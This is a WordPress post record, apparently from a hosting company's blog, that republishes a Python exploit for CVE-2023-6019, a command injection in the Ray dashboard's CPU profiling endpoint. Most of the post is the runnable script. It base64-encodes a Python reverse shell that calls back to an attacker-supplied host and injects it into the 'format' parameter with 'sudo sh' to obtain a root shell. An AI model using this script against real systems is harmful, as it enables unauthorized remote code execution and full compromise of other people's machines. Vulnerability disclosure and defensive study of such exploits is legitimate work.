{"id":56235,"date":"2024-04-12T19:29:51","date_gmt":"2024-04-12T15:29:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178034\/rayos263-exec.txt"},"modified":"2024-04-12T19:29:51","modified_gmt":"2024-04-12T15:29:51","slug":"ray-os-2-6-3-command-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ray-os-2-6-3-command-injection\/","title":{"rendered":"Ray OS 2.6.3 Command Injection"},"content":{"rendered":"<p># Exploit Title: Ray OS v2.6.3 &#8211; Command Injection RCE(Unauthorized)<br \/># Description:<br \/># The Ray Project dashboard contains a CPU profiling page, and the format parameter is<br \/># not validated before being inserted into a system command executed in a shell, allowing<br \/># for arbitrary command execution. If the system is configured to allow passwordless sudo<br \/># (a setup some Ray configurations require) this will result in a root shell being returned<br \/># to the user. If not configured, a user level shell will be returned<br \/># Version: &lt;= 2.6.3<br \/># Date: 2024-4-10<br \/># Exploit Author: Fire_Wolf<br \/># Tested on: Ubuntu 20.04.6 LTS<br \/># Vendor Homepage: https:\/\/www.ray.io\/<br \/># Software Link: https:\/\/github.com\/ray-project\/ray<br \/># CVE: CVE-2023-6019<br \/># Refer: https:\/\/huntr.com\/bounties\/d0290f3c-b302-4161-89f2-c13bb28b4cfe<br \/># ==========================================================================================<\/p>\n<p># !usr\/bin\/python3<br \/># coding=utf-8<br \/>import base64<br \/>import argparse<br \/>import requests<br \/>import urllib3<\/p>\n<p>proxies = {&#8220;http&#8221;: &#8220;127.0.0.1:8080&#8221;}<br \/>headers = {<br \/>&#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (X11; Linux x86_64; rv:91.0) Gecko\/20100101 Firefox\/91.0&#8221;<br \/>}<\/p>\n<p>def check_url(target, port):<br \/>target_url = target + &#8220;:&#8221; + port<br \/>https = 0<br \/>if &#8216;http&#8217; not in target:<br \/>try:<br \/>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br \/>test_url = &#8216;http:\/\/&#8217; + target_url<br \/>response = requests.get(url=test_url, headers=headers, verify=False, timeout=3)<br \/>if response.status_code != 200:<br \/>is_https = 0<br \/>return is_https<br \/>except Exception as e:<br \/>print(&#8220;ERROR! The Exception is:&#8221; + format(e))<br \/>if https == 1:<br \/>return &#8220;https:\/\/&#8221; + target_url<br \/>else:<br \/>return &#8220;http:\/\/&#8221; + target_url<\/p>\n<p>def exp(target,ip,lhost, lport):<br \/>payload = &#8216;python3 -c \\&#8217;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#8220;&#8216; + lhost + &#8216;&#8221;,&#8217; + lport + &#8216;));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&#8220;\/bin\/bash&#8221;)\\&#8221;<br \/>print(&#8220;[*]Payload is: &#8221; + payload)<br \/>b64_payload = base64.b64encode(payload.encode())<br \/>print(&#8220;[*]Base64 encoding payload is: &#8221; + b64_payload.decode())<br \/>exp_url = target + &#8216;\/worker\/cpu_profile?pid=3354&amp;ip=&#8217; + str(ip) + &#8216;&amp;duration=5&amp;native=0&amp;format=`echo &#8216; + b64_payload.decode() + &#8216; |base64$IFS-d|sudo%20sh`&#8217;<br \/># response = requests.get(url=exp_url, headers=headers, verify=False, timeout=3, prxoy=proxiess)<br \/>print(exp_url)<br \/>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<br \/>response = requests.get(url=exp_url, headers=headers, verify=False)<br \/>if response.status_code == 200:<br \/>print(&#8220;[-]ERROR: Exploit Failed,please check the payload.&#8221;)<br \/>else:<br \/>print(&#8220;[+]Exploit is finished,please check your machine!&#8221;)<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>parser = argparse.ArgumentParser(<br \/>description=&#8221;&#8217;<br \/>\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840<br \/>\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804<br \/>\u2860\u2804\u2844\u2844\u2860\u2840\u28c0\u2840\u2892\u2804\u2854\u2844\u2892\u2804\u2892\u2804\u28c0\u2840\u28d6\u2842\u2854\u2844\u28b4\u2804\u28d6\u2846\u2804\u2804\u2864\u2840\u2844\u2844<br \/>\u2811\u2802\u2818\u2804\u2819\u2802\u2804\u2804\u2813\u2802\u2811\u2801\u2813\u2802\u2812\u2801\u2804\u2804\u2813\u2803\u2811\u2801\u281a\u2802\u2812\u2803\u2810\u2804\u2817\u2801\u282c\u2803<\/p>\n<p>\u28b0\u28f1\u28a0\u28a0\u2820\u2866\u28b8\u2884\u2880\u2884\u28a0\u2860\u2804\u2804\u28b8\u280d\u2820\u2845\u28a0\u2860\u2880\u2884\u2804\u2804\u28b8\u28f8\u2880\u2884\u2808\u2847\u2820\u286f\u2804<br \/>\u2818\u2818\u2808\u281a\u2804\u2813\u2818\u2818\u2808\u280a\u2818\u2804\u2804\u2801\u2818\u2804\u2810\u2813\u2818\u2804\u2808\u2813\u2820\u2824\u2818\u2819\u2808\u280a\u2810\u2813\u2804\u2803\u2804<br \/>\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840\u28c0\u2840<br \/>\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804\u2804<br \/>&#8221;&#8217;,<br \/>formatter_class=argparse.RawDescriptionHelpFormatter,<br \/>)<br \/>parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, type=str, required=True, help=&#8217;tart ip&#8217;)<br \/>parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;port&#8217;, type=str, default=80, required=False, help=&#8217;tart host port&#8217;)<br \/>parser.add_argument(&#8216;-L&#8217;, &#8216;&#8211;lhost&#8217;, type=str, required=True, help=&#8217;listening host ip&#8217;)<br \/>parser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;lport&#8217;, type=str, default=80, required=False, help=&#8217;listening port&#8217;)<br \/>args = parser.parse_args()<br \/># target = args.target<br \/>ip = args.target<br \/># port = args.port<br \/># lhost = args.lhost<br \/># lport = args.lport<br \/>targeturl = check_url(args.target, args.port)<br \/>print(targeturl)<br \/>print(&#8220;[*] Checking in url: &#8221; + targeturl)<br \/>exp(targeturl, ip, args.lhost, args.lport)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Ray OS v2.6.3 &#8211; Command Injection RCE(Unauthorized)# Description:# The Ray Project dashboard contains a CPU profiling page, and the format parameter is# not validated before being inserted into a system command executed in a shell, allowing# for arbitrary command execution. If the system is configured to allow passwordless sudo# (a setup some &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56235","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56235","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56235"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56235\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}